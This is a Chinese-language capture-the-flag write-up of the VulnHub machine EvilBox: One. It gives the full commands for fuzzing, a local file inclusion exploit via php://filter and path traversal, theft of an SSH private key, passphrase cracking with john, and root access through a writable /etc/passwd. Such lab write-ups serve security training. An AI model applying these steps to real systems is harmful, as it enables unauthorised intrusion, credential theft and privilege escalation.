Contents

打靶-EVILBOX: ONE

0x00 准备工作

靶机地址: https://www.vulnhub.com/entry/evilbox-one,736/
难度等级: 高
打靶目标: 取得 root 权限

涉及攻击方法:

主机发现

端口扫描

强制方法

参数爆破

文件包含

PHP封装器

任意文件读取

SSH公钥登录

离线密码破解

系统权限漏洞利用

0x01 信息搜集

使用fping -gaq 192.168.92.0/24发现主机,-g通过指定开始和结束地址来生成目标列表或者一个IP/掩码形式,-a显示可ping通的目标,-q安静模式(不显示每个目标或每个ping的结果)。

然后使用nmap扫描端口,-A综合扫描,发现22和80端口及详细信息。

80端口为Apache默认界面,没有信息。

手动访问robots.txt后发现一个可疑昵称,多次尝试后无果。

使用gobuster dir -u http://192.168.92.130 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp命令爆破目录,发现存在secret目录。

打开后没有任何信息,尝试进一步对secret目录进行爆破,发现evil.php。

然后使用ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.92.130/secret/evil.php?PARAM=VAL -fs 0进行参数爆破,-fs 0是忽略空结果。但是没有爆破出任何结果。

下面尝试文件包含漏洞,使用ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.92.130/secret/evil.php?FUZZ=../index.html -fs 0发现回显有command参数。

尝试访问passwd文件,发现最后存在一个mowree用户。

0x02 flag1

尝试后,发现只存在本地文件包含,使用php://filter封装器来读取源码,构造command=php://filter/convert.base64-encode/resource=evil.php

解码后得到

<?php
    $filename = $_GET['command'];
    include($filename);
?>

构造command=php://filter/write=convert.base64-decode/resource=test.txt&txt=MTIz,其中txt=MTIz,MTIz是123使用base64加密后的内容。将此内容写入test.txt。尝试失败,没有写权限。

查看目标靶机支持的ssh认证类型ssh root@192.168.92.130 -v,-v就是以调试方式查看。可以看到目标系统支持公钥认证和密码认证。

构造command=../../../../../../home/mowree/.ssh,查看mowree的公钥。

查看私钥,构造command=../../../../../../../../../home/mowree/.ssh/id_rsa

把内容复制到本地,再通过chmod 600 id_rsa使权限没那么松散。最后使用ssh mowree@192.168.92.130 -i id_rsa密钥登录,结果需要私钥的密码。

使用python2 /usr/share/john/ssh2john.py ~/id_rsa > ~/hash命令,将id_rsa转换成john能识别的hash格式。

将超级大字典rockyou复制过来,cp /usr/share/wordlists/rockyou.txt .,然后开始爆破john hash --wordlist=rockyou.txt,成功爆破出密码为unicorn

成功登录

查看flag1

0x03 flag2

fifind / -writable 2>/dev/null|grep -v 'proc|run|sys',查看可写权限的文件,发现了etc/passwd文件。

可以通过直接修改root用户名的密码了,使用openssl passwd -1命令,使用openssl加密算法来加密,输入的内容。

输入密码为han,返回了加密后的内容为$1$JPKeenWm$HWPSn4QyyNd4vj8Kn4uTT.

修改/etc/passwd。

然后切换到root用户。